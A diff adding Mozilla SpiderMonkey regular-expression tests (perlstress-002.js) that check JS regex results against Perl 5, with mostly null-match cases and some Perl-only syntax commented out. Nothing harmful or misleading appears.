+ pattern = /^([0-9a-fA-F]+)(?:x([0-9a-fA-F]+)?)(?:x([0-9a-fA-F]+))?/;
+ string = '012cxx0190';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('012cxx0190', '012c', undefined, '0190');
+ addThis();
+
+ status = inSection(420);
+ pattern = /^(b+?|a){1,2}c/;
+ string = 'bbbac';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('bbbac', 'a');
+ addThis();
+
+ status = inSection(421);
+ pattern = /^(b+?|a){1,2}c/;
+ string = 'bbbbac';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('bbbbac', 'a');
+ addThis();
+
+ status = inSection(422);
+ pattern = /((?:aaaa|bbbb)cccc)?/;
+ string = 'aaaacccc';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('aaaacccc', 'aaaacccc');
+ addThis();
+
+ status = inSection(423);
+ pattern = /((?:aaaa|bbbb)cccc)?/;
+ string = 'bbbbcccc';
+ actualmatch = string.match(pattern);
+ expectedmatch = Array('bbbbcccc', 'bbbbcccc');
+ addThis();
+
+
+
+
+//-----------------------------------------------------------------------------
+ test();
+//-----------------------------------------------------------------------------
+
+
+
+ function addThis()
+ {
+ if(omitCurrentSection())
+ return;
+
+ statusmessages[i] = status;
+ patterns[i] = pattern;
+ strings[i] = string;
+ actualmatches[i] = actualmatch;
+ expectedmatches[i] = expectedmatch;
+ i++;
+ }
+
+
+ function omitCurrentSection()
+ {
+ try
+ {
+ // current section number is in global status variable
+ var n = status.match(/(\d+)/)[1];
+ return ((n < cnLBOUND) || (n > cnUBOUND));
+ }
+ catch(e)
+ {
+ return false;
+ }
+ }
+
+
+ function test()
+ {
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+ testRegExp(statusmessages, patterns, strings, actualmatches, expectedmatches);
+ }
diff --git a/js/src/tests/non262/RegExp/perlstress-002.js b/js/src/tests/non262/RegExp/perlstress-002.js
new file mode 100644
index 0000000000..288cd9ed8b
--- /dev/null
+++ b/js/src/tests/non262/RegExp/perlstress-002.js
@@ -0,0 +1,1806 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+/*
+ *
+ * Date: 2002-07-07
+ * SUMMARY: Testing JS RegExp engine against Perl 5 RegExp engine.
+ * Adjust cnLBOUND, cnUBOUND below to restrict which sections are tested.
+ *
+ * This test was created by running various patterns and strings through the
+ * Perl 5 RegExp engine. We saved the results below to test the JS engine.
+ *
+ * Each of the examples below is a negative test; that is, each produces a
+ * null match in Perl. Thus we set |expectedmatch| = |null| in each section.
+ *
+ * NOTE: ECMA/JS and Perl do differ on certain points. We have either commented
+ * out such sections altogether, or modified them to fit what we expect from JS.
+ *
+ * EXAMPLES:
+ *
+ * - ECMA does support (?: (?= and (?! operators, but doesn't support (?< etc.
+ *
+ * - ECMA doesn't support (?(condition)
+ *
+ */
+//-----------------------------------------------------------------------------
+var i = 0;
+var BUGNUMBER = 85721;
+var summary = 'Testing regular expression edge cases';
+var cnSingleSpace = ' ';
+var status = '';
+var statusmessages = new Array();
+var pattern = '';
+var patterns = new Array();
+var string = '';
+var strings = new Array();
+var actualmatch = '';
+var actualmatches = new Array();
+var expectedmatch = '';
+var expectedmatches = new Array();
+var cnLBOUND = 0;
+var cnUBOUND = 1000;
+
+
+status = inSection(1);
+pattern = /abc/;
+string = 'xbc';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(2);
+pattern = /abc/;
+string = 'axc';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(3);
+pattern = /abc/;
+string = 'abx';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(4);
+pattern = /ab+bc/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(5);
+pattern = /ab+bc/;
+string = 'abq';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(6);
+pattern = /ab{1,}bc/;
+string = 'abq';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(7);
+pattern = /ab{4,5}bc/;
+string = 'abbbbc';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(8);
+pattern = /ab?bc/;
+string = 'abbbbc';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(9);
+pattern = /^abc$/;
+string = 'abcc';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(10);
+pattern = /^abc$/;
+string = 'aabc';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(11);
+pattern = /abc$/;
+string = 'aabcd';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(12);
+pattern = /a.*c/;
+string = 'axyzd';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(13);
+pattern = /a[bc]d/;
+string = 'abc';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(14);
+pattern = /a[b-d]e/;
+string = 'abd';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(15);
+pattern = /a[^bc]d/;
+string = 'abd';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(16);
+pattern = /a[^-b]c/;
+string = 'a-c';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(17);
+pattern = /a[^]b]c/;
+string = 'a]c';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(18);
+pattern = /\by\b/;
+string = 'xy';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(19);
+pattern = /\by\b/;
+string = 'yz';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(20);
+pattern = /\by\b/;
+string = 'xyz';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(21);
+pattern = /\Ba\B/;
+string = 'a-';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(22);
+pattern = /\Ba\B/;
+string = '-a';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(23);
+pattern = /\Ba\B/;
+string = '-a-';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(24);
+pattern = /\w/;
+string = '-';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(25);
+pattern = /\W/;
+string = 'a';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(26);
+pattern = /a\sb/;
+string = 'a-b';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(27);
+pattern = /\d/;
+string = '-';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(28);
+pattern = /\D/;
+string = '1';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(29);
+pattern = /[\w]/;
+string = '-';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(30);
+pattern = /[\W]/;
+string = 'a';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(31);
+pattern = /a[\s]b/;
+string = 'a-b';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(32);
+pattern = /[\d]/;
+string = '-';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(33);
+pattern = /[\D]/;
+string = '1';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(34);
+pattern = /$b/;
+string = 'b';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(35);
+pattern = /^(ab|cd)e/;
+string = 'abcde';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(36);
+pattern = /a[bcd]+dcdcde/;
+string = 'adcdcde';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(37);
+pattern = /(bc+d$|ef*g.|h?i(j|k))/;
+string = 'effg';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(38);
+pattern = /(bc+d$|ef*g.|h?i(j|k))/;
+string = 'bcdd';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(39);
+pattern = /[k]/;
+string = 'ab';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+// MODIFIED - ECMA has different rules for paren contents.
+status = inSection(40);
+pattern = /(a)|\1/;
+string = 'x';
+actualmatch = string.match(pattern);
+//expectedmatch = null;
+expectedmatch = Array("", undefined);
+addThis();
+
+// MODIFIED - ECMA has different rules for paren contents.
+status = inSection(41);
+pattern = /((\3|b)\2(a)x)+/;
+string = 'aaxabxbaxbbx';
+actualmatch = string.match(pattern);
+//expectedmatch = null;
+expectedmatch = Array("ax", "ax", "", "a");
+addThis();
+
+status = inSection(42);
+pattern = /abc/i;
+string = 'XBC';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(43);
+pattern = /abc/i;
+string = 'AXC';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(44);
+pattern = /abc/i;
+string = 'ABX';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(45);
+pattern = /ab+bc/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(46);
+pattern = /ab+bc/i;
+string = 'ABQ';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(47);
+pattern = /ab{1,}bc/i;
+string = 'ABQ';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(48);
+pattern = /ab{4,5}?bc/i;
+string = 'ABBBBC';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(49);
+pattern = /ab??bc/i;
+string = 'ABBBBC';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(50);
+pattern = /^abc$/i;
+string = 'ABCC';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(51);
+pattern = /^abc$/i;
+string = 'AABC';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(52);
+pattern = /a.*c/i;
+string = 'AXYZD';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(53);
+pattern = /a[bc]d/i;
+string = 'ABC';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(54);
+pattern = /a[b-d]e/i;
+string = 'ABD';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(55);
+pattern = /a[^bc]d/i;
+string = 'ABD';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(56);
+pattern = /a[^-b]c/i;
+string = 'A-C';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(57);
+pattern = /a[^]b]c/i;
+string = 'A]C';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(58);
+pattern = /$b/i;
+string = 'B';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(59);
+pattern = /^(ab|cd)e/i;
+string = 'ABCDE';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(60);
+pattern = /a[bcd]+dcdcde/i;
+string = 'ADCDCDE';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(61);
+pattern = /(bc+d$|ef*g.|h?i(j|k))/i;
+string = 'EFFG';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(62);
+pattern = /(bc+d$|ef*g.|h?i(j|k))/i;
+string = 'BCDD';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(63);
+pattern = /[k]/i;
+string = 'AB';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(64);
+pattern = /^(a\1?){4}$/;
+string = 'aaaaaaaaa';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(65);
+pattern = /^(a\1?){4}$/;
+string = 'aaaaaaaaaaa';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+/* ECMA doesn't support (?(
+ status = inSection(66);
+ pattern = /^(a(?(1)\1)){4}$/;
+ string = 'aaaaaaaaa';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(67);
+ pattern = /^(a(?(1)\1)){4}$/;
+ string = 'aaaaaaaaaaa';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+*/
+
+/* ECMA doesn't support (?<
+ status = inSection(68);
+ pattern = /(?<=a)b/;
+ string = 'cb';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(69);
+ pattern = /(?<=a)b/;
+ string = 'b';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(70);
+ pattern = /(?<!c)b/;
+ string = 'cb';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+*/
+
+/* ECMA doesn't support (?(condition)
+ status = inSection(71);
+ pattern = /(?:(?i)a)b/;
+ string = 'aB';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(72);
+ pattern = /((?i)a)b/;
+ string = 'aB';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(73);
+ pattern = /(?i:a)b/;
+ string = 'aB';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(74);
+ pattern = /((?i:a))b/;
+ string = 'aB';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(75);
+ pattern = /(?:(?-i)a)b/i;
+ string = 'Ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(76);
+ pattern = /((?-i)a)b/i;
+ string = 'Ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(77);
+ pattern = /(?:(?-i)a)b/i;
+ string = 'AB';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(78);
+ pattern = /((?-i)a)b/i;
+ string = 'AB';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(79);
+ pattern = /(?-i:a)b/i;
+ string = 'Ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(80);
+ pattern = /((?-i:a))b/i;
+ string = 'Ab';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(81);
+ pattern = /(?-i:a)b/i;
+ string = 'AB';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(82);
+ pattern = /((?-i:a))b/i;
+ string = 'AB';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(83);
+ pattern = /((?-i:a.))b/i;
+ string = 'a\nB';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(84);
+ pattern = /((?s-i:a.))b/i;
+ string = 'B\nB';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+*/
+
+/* ECMA doesn't support (?<
+ status = inSection(85);
+ pattern = /(?<![cd])b/;
+ string = 'dbcb';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(86);
+ pattern = /(?<!(c|d))b/;
+ string = 'dbcb';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+*/
+
+status = inSection(87);
+pattern = /^(?:a?b?)*$/;
+string = 'a--';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(88);
+pattern = /^b/;
+string = 'a\nb\nc\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(89);
+pattern = /()^b/;
+string = 'a\nb\nc\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+/* ECMA doesn't support (?(
+ status = inSection(90);
+ pattern = /(?(1)a|b)/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(91);
+ pattern = /(x)?(?(1)a|b)/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(92);
+ pattern = /()(?(1)b|a)/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(93);
+ pattern = /^(\()?blah(?(1)(\)))$/;
+ string = 'blah)';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(94);
+ pattern = /^(\()?blah(?(1)(\)))$/;
+ string = '(blah';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(95);
+ pattern = /^(\(+)?blah(?(1)(\)))$/;
+ string = 'blah)';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(96);
+ pattern = /^(\(+)?blah(?(1)(\)))$/;
+ string = '(blah';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(97);
+ pattern = /(?(?{0})a|b)/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(98);
+ pattern = /(?(?{1})b|a)/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(99);
+ pattern = /(?(?!a)a|b)/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+
+ status = inSection(100);
+ pattern = /(?(?=a)b|a)/;
+ string = 'a';
+ actualmatch = string.match(pattern);
+ expectedmatch = null;
+ addThis();
+*/
+
+status = inSection(101);
+pattern = /^(?=(a+?))\1ab/;
+string = 'aaab';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(102);
+pattern = /^(?=(a+?))\1ab/;
+string = 'aaab';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(103);
+pattern = /([\w:]+::)?(\w+)$/;
+string = 'abcd:';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(104);
+pattern = /([\w:]+::)?(\w+)$/;
+string = 'abcd:';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(105);
+pattern = /(>a+)ab/;
+string = 'aaab';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(106);
+pattern = /a\Z/;
+string = 'a\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(107);
+pattern = /a\z/;
+string = 'a\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(108);
+pattern = /a$/;
+string = 'a\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(109);
+pattern = /a\z/;
+string = 'b\na\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(110);
+pattern = /a\z/m;
+string = 'a\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(111);
+pattern = /a\z/m;
+string = 'b\na\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(112);
+pattern = /aa\Z/;
+string = 'aa\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(113);
+pattern = /aa\z/;
+string = 'aa\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(114);
+pattern = /aa$/;
+string = 'aa\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(115);
+pattern = /aa\z/;
+string = 'b\naa\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(116);
+pattern = /aa\z/m;
+string = 'aa\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(117);
+pattern = /aa\z/m;
+string = 'b\naa\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(118);
+pattern = /aa\Z/;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(119);
+pattern = /aa\z/;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(120);
+pattern = /aa$/;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(121);
+pattern = /aa\Z/;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(122);
+pattern = /aa\z/;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(123);
+pattern = /aa$/;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(124);
+pattern = /aa\Z/;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(125);
+pattern = /aa\z/;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(126);
+pattern = /aa$/;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(127);
+pattern = /aa\Z/m;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(128);
+pattern = /aa\z/m;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(129);
+pattern = /aa$/m;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(130);
+pattern = /aa\Z/m;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(131);
+pattern = /aa\z/m;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(132);
+pattern = /aa$/m;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(133);
+pattern = /aa\Z/m;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(134);
+pattern = /aa\z/m;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(135);
+pattern = /aa$/m;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(136);
+pattern = /aa\Z/;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(137);
+pattern = /aa\z/;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(138);
+pattern = /aa$/;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(139);
+pattern = /aa\Z/;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(140);
+pattern = /aa\z/;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(141);
+pattern = /aa$/;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(142);
+pattern = /aa\Z/;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(143);
+pattern = /aa\z/;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(144);
+pattern = /aa$/;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(145);
+pattern = /aa\Z/m;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(146);
+pattern = /aa\z/m;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(147);
+pattern = /aa$/m;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(148);
+pattern = /aa\Z/m;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(149);
+pattern = /aa\z/m;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(150);
+pattern = /aa$/m;
+string = 'b\nca\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(151);
+pattern = /aa\Z/m;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(152);
+pattern = /aa\z/m;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(153);
+pattern = /aa$/m;
+string = 'b\nca';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(154);
+pattern = /ab\Z/;
+string = 'ab\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(155);
+pattern = /ab\z/;
+string = 'ab\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(156);
+pattern = /ab$/;
+string = 'ab\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(157);
+pattern = /ab\z/;
+string = 'b\nab\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(158);
+pattern = /ab\z/m;
+string = 'ab\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(159);
+pattern = /ab\z/m;
+string = 'b\nab\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(160);
+pattern = /ab\Z/;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(161);
+pattern = /ab\z/;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(162);
+pattern = /ab$/;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(163);
+pattern = /ab\Z/;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(164);
+pattern = /ab\z/;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(165);
+pattern = /ab$/;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(166);
+pattern = /ab\Z/;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(167);
+pattern = /ab\z/;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(168);
+pattern = /ab$/;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(169);
+pattern = /ab\Z/m;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(170);
+pattern = /ab\z/m;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(171);
+pattern = /ab$/m;
+string = 'ac\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(172);
+pattern = /ab\Z/m;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(173);
+pattern = /ab\z/m;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(174);
+pattern = /ab$/m;
+string = 'b\nac\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(175);
+pattern = /ab\Z/m;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(176);
+pattern = /ab\z/m;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(177);
+pattern = /ab$/m;
+string = 'b\nac';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(178);
+pattern = /ab\Z/;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
+status = inSection(179);
+pattern = /ab\z/;
+string = 'ca\nb\n';
+actualmatch = string.match(pattern);
+expectedmatch = null;
+addThis();
+
